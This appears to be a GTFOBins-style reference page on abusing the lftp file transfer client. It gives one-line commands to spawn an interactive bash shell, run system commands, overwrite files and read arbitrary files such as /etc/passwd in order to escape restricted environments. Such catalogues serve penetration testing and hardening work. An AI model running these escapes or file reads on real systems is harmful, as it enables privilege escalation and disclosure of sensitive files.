.. / lftp

Star

• Shell
• Command
• File write
• File read

LFTP is a file transfer client (FTP and other protocols).

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• Stack commands that include launching a shell.

  lftp -e '!bash'

Command

It can be used to break out from the intended program by running non-interactive system commands.

• Stack commands that include running a command.

  lftp -e '!whoami'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• Overwrite a file, or create an empty file.

  lftp -c 'mirror --script=lftp.script'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• Read an arbitrary file by specifying it as a script file.

  lftp -f /etc/passwd